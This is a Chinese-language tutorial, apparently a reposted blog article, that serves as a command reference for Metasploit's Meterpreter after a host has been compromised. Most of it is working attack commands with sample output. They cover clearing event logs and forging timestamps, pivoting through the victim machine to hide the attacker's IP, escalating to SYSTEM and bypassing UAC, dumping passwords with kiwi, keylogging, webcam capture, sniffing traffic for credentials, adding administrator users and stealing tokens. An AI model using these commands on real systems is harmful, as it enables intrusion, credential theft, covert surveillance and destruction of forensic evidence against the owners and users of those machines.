msf之meterpreter命令


meterpreter 簡介

  • Meterpreter 比系統 shell 更加靈活,功能更加豐富,例如監控主機,監控鍵盤,開啟攝像頭,麥克風,還可

    以靈活的獲取你的操作系統信息。

  • 高級,動態,可擴展的 payload,一站式后攻擊 payload;

  • 基於 meterpreter 上下文利用更多漏洞發起攻擊;

  • 后滲透測試階段一站式操作界面;

  • 完全基於內存的 DLL 注入式 payload(不寫硬盤)

  • 注入合法系統進程並建立 stager;**

  • 基於 stager 上傳和預加載 DLL 進行擴展模塊的注入(客戶端 API)

  • 基於 stager 建立的 socket 連接建立加密的 TLS/1.0 通信隧道;

  • 利用 TLS 隧道進一步加載后續擴展模塊(避免網絡取證

meterpreter 基本命令

前提是漏洞利用成功,payload 用的是 meterpreter

0x01. 系統命令

1)基本系統命令

background  #將當前會話放置后台,然后可以再運行其他模塊進行提權

sessions    #sessions –h 查看幫助
sessions -i <ID值>  #進入會話   -k  殺死會話

getuid # 查看權限 

getpid # 獲取當前進程的pid

sysinfo # 查看目標機系統信息

ps # 查看當前活躍進程    kill <PID值> 殺死進程

idletime #查看目標機發呆(無操作)時間

reboot / shutdown   #重啟/關機

shell #進入目標機cmd shell

image-20201223161455628

2)uictl開關鍵盤/鼠標

一般在虛擬機上是操作不成功的

uictl [enable/disable] [keyboard/mouse/all]  #開啟或禁止鍵盤/鼠標
uictl disable mouse  #禁用鼠標
uictl disable keyboard  #禁用鍵盤
image-20201223170718310

3)webcam攝像頭命令

webcam_list         #查看攝像頭
webcam_snap      #通過攝像頭拍照
webcam_stream   #通過攝像頭開啟視頻

image-20201223170905108

4)執行exe文件

execute -f 命令在目標主機上執行應用程序

execute -f c:\\111.exe
# execute -H -i -f cmd.exe    # 創建新進程cmd.exe,-H不可見,-i交互

5)migrate進程遷移

getpid    # 獲取當前進程的pid
ps   # 查看當前活躍進程
migrate <pid值>    #將Meterpreter會話移植到指定pid值進程中,
kill <pid值>   #殺死進程

6)clearav清除日志

clearev  #清除windows中的應用程序日志、系統日志、安全日志,走的時候不要忘記

0x02. 文件系統命令

1)基礎命令

getwd 或者pwd                         # 查看當前工作目錄  
ls                                               # 查看當前路徑下的內容
cd                                              # 切換目錄
search -f *pass*                         # 搜索文件  -h查看幫助
cat c:\\lltest\\lltestpasswd.txt    # 查看文件內容
edit c:\\1.txt                               #編輯或創建文件  沒有的話,會新建文件
rm c:\\lltest\\hack.txt                #刪除文件
mkdir lltest2                              #只能在當前目錄下創建文件夾
rmdir lltest2                               #只能刪除當前目錄下文件夾

2)上傳文件

簡單來說,你可以上傳本機的任意文件到遠程目標主機中

meterpreter > upload //root//daociyiyou.txt c:
[*] uploading  : //root/daociyiyou.txt -> c:
[*] uploaded   : //root/daociyiyou.txt -> c:\daociyiyou.txt

# 注意:使用-r參數可以遞歸上傳上傳目錄和文件

3)下載文件

download命令可以下載遠程主機上的文件

注意:Windows路徑要使用雙斜線

如果我們需要遞歸下載整個目錄包括子目錄和文件,我們可以使用download -r

meterpreter > download c:\\hello.txt /root/
[*] Downloading: c:\hello.txt -> /root/hello.txt
[*] Downloaded 1.00 B of 1.00 B (100.0%): c:\hello.txt -> /root/hello.txt
[*] download   : c:\hello.txt -> /root/hello.txt

4)timestomp偽造時間戳

timestomp C:// -h                            #查看幫助
timestomp -v C://2.txt                      #查看時間戳
timestomp C://2.txt -f C://1.txt         #將1.txt的時間戳復制給2.txt

image-20201223172437816

0x03.網絡命令

1)基本網絡命令

ipconfig/ifconfig     # 查看ip
netstat –an           # 查看開放的端口
arp                          # arp探測
getproxy                 #查看代理信息
route                       #查看路由

image-20201223172820261

2)portfwd端口轉發

這個可能經常會用到

portfwd add -l 6666 -p 3389 -r 127.0.0.1    #將目標機的3389端口轉發到本地6666端口

這個命令的意思就是把你目標主機的3389映射到你電腦上的6666端口,以后你連接127.0.0.1:6666就能連到肉雞

image-20201223173803441

3)autoroute添加路由

run autoroute -h #查看幫助
run autoroute -s 192.168.159.0/24  #添加到目標環境網絡,當你相連接一個網絡發現不通的時候,可以設置一個路由試試,一般網絡中沒有設置圍欄的情況下,是可以通的

run autoroute -p  #查看添加的路由

然后可以利用arp_scanner、portscan等進行掃描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

image-20201223175235438

image-20201223175315759

4)Socks4a代理

autoroute添加完路由后,還可以利用msf自帶的sock4a模塊進行Socks4a代理,就是把肉雞當成代理

msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后vim /etc/proxychains.conf #添加 socks4 127.0.0.1 1080,這樣你kali里面所有的軟件運行,攻擊的手段都

是走的肉雞的代理,就做到了隱藏自己真是ip的效果了

最后proxychains 使用Socks4a代理訪問

image-20201223175413768

0x04. 提權

1) getsystem提權

getsystem

getsystem工作原理:

①getsystem創建一個新的Windows服務,設置為SYSTEM運行,當它啟動時連接到一個命名管道。

②getsystem產生一個進程,它創建一個命名管道並等待來自該服務的連接。

③Windows服務已啟動,導致與命名管道建立連接。

④該進程接收連接並調用ImpersonateNamedPipeClient,從而為SYSTEM用戶創建模擬令牌。

然后用新收集的SYSTEM模擬令牌產生cmd.exe,並且我們有一個SYSTEM特權進程。

image-20201223175520978

2) bypassuac

內置多個pypassuac腳本,原理有所不同,使用方法類似,運行后返回一個新的會話,需要再次執行getsystem獲取系統權限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如使用bypassuac.rb腳本:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

image-20201223175735975

3) 內核漏洞提權

可先利用enum_patches模塊 收集補丁信息,然后查找可用的exploits進行提權

meterpreter > run post/windows/gather/enum_patches  #查看補丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

image-20201223175838344

image-20201223175858687

0x05. kiwi獲取密碼

在msf6中mimikatz已經不可以用了,The "mimikatz" extension has been replaced by "kiwi"

load kiwi          # help kiwi 查看幫助
creds_wdigest  # 獲取賬號密碼

image-20201223165649143

0x06. 遠程桌面&截屏

enumdesktops     #查看可用的桌面
getdesktop          #獲取當前meterpreter 關聯的桌面
set_desktop         #設置meterpreter關聯的桌面  -h查看幫助
screenshot           #截屏
use espia             #或者使用espia模塊截屏  然后輸入screengrab
run vnc                #使用vnc遠程桌面連接
image-20201223180311869

0x07. 開啟rdp&添加用戶

1) getgui命令

run getgui –h #查看幫助
run getgui -e #開啟遠程桌面
run getgui -u lltest2 -p 123456   #添加用戶
run getgui -f 6661 –e   #3389端口轉發到6661

getgui 系統不推薦,推薦使用run post/windows/manage/enable_rdp

getgui添加用戶時,有時雖然可以成功添加用戶,但是沒有權限通過遠程桌面登陸

2) enable_rdp腳本

run post/windows/manage/enable_rdp  #開啟遠程桌面

run post/windows/manage/enable_rdp USERNAME=oldboy PASSWORD=123456 #添加用戶,默認會添加到管理員組

0x09. 鍵盤記錄

一般在虛擬機上是記錄不了的

keyscan_start     #開始鍵盤記錄
keyscan_dump   #導出記錄數據
keyscan_stop     #結束鍵盤記錄

image-20201223183540486

0x10. sniffer抓包

use sniffer
sniffer_interfaces       #查看網卡
sniffer_start 2            #選擇網卡 開始抓包
sniffer_stats 2           #查看狀態
sniffer_dump 2 /tmp/lltest.pcap  #導出pcap數據包
sniffer_stop 2            #停止抓包

這個包中有所有的肉雞上網的數據,比如登錄web站點,賬號密碼全部都在里面可以看到,用Wireshark可以打開

0x11 令牌操縱

這個非常有用,比如說我們在一個企業的域控環境里面,我本身是一個普通用戶可以通過假冒令牌偽造成管理員用

戶,然后不需要密碼就能登錄其他賬號了

1) incognito假冒令牌

use incognito      #help incognito  查看幫助
list_tokens -u    #查看可用的token

impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\

或者直接shell
rev2self   #返回原始token

image-20201223192005404

2) steal_token竊取令牌

先查看進程后面的token值,然后找到管理員的token,然后再通過pid獲取他的token

steal_token <pid值>   #從指定進程中竊取token   先ps
drop_token  #刪除竊取的token

寫在最后

文章內容部分引用:https://xz.aliyun.com/t/2536#toc-0


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM